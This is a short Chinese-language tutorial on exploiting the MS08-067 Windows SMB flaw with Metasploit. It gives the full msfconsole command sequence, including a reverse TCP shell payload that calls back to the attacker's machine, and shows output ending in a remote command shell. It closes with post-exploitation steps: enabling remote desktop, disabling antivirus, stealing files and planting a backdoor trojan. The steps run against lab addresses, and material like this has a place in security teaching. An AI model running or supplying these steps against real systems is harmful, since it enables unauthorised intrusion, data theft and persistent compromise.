MS08-067

MS08-067漏洞是2008年底爆出的特大漏洞,攻击者利用受害者主机默认开发的SMB服务端口445,发送恶意资料到该端口,通过MSRPC接口调用Server服务的一个函数,并破坏程序的栈缓冲区,获得远程代码执行权限(Remote Code Execution),从而完全控制主机。

漏洞

MS08-067

攻击

msf > search ms08_067 搜索MS08_067相关渗透攻击代码

msf > use exploit/windows/smb/ms08_067_netapi 调用ms08_067_netapi渗透模块

msf exploit(ms08_067_netapi) > show payloads 查看此渗透模块所对应的攻击载荷

msf exploit(ms08_067_netapi) > set payload generic/shell_reverse_tcp 设置shellcode, 当渗透成功后,通过shell reverse tcp回连攻击机,并创建TCP会话

msf exploit(ms08_067_netapi) > show options 查看攻击所需要的基础参数,包括源目IP、端口、目标操作系统等

msf exploit(ms08_067_netapi) > show targets 查看可选的目标系统类型,一般通过nmap等前期扫描工具确定攻击对象

nmap -A IP地址

通过nmap判断系统类型,提高渗透几率 msf exploit(ms08_067_netapi) > set RHOST 10.10.10.130

设置目标IP

RHOST => 10.10.10.130 msf exploit(ms08_067_netapi) > set LHOST 10.10.10.131

LHOST => 10.10.10.131

msf exploit(ms08_067_netapi) > set LPORT 5000

设置本地端口,此端口为渗透后靶机回连端口 LPORT => 5000

msf exploit(ms08_067_netapi) > set target 5 设置目标操作系统代码为5,这里指的是windows server 2003

target => 5

msf exploit(ms08_067_netapi) > show options

再次检查渗透攻击参数

msf exploit(ms08_067_netapi) > exploit

执行渗透

[] Started reverse handler on 10.10.10.131:5000

[] Attempting to trigger the vulnerability...

Microsoft Windows [Version 5.2.3790]

(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32> 渗透成功,拿到shell!

后渗透

开启远程桌面 关闭杀毒软件 拷贝文件 下载资料 上传后台木马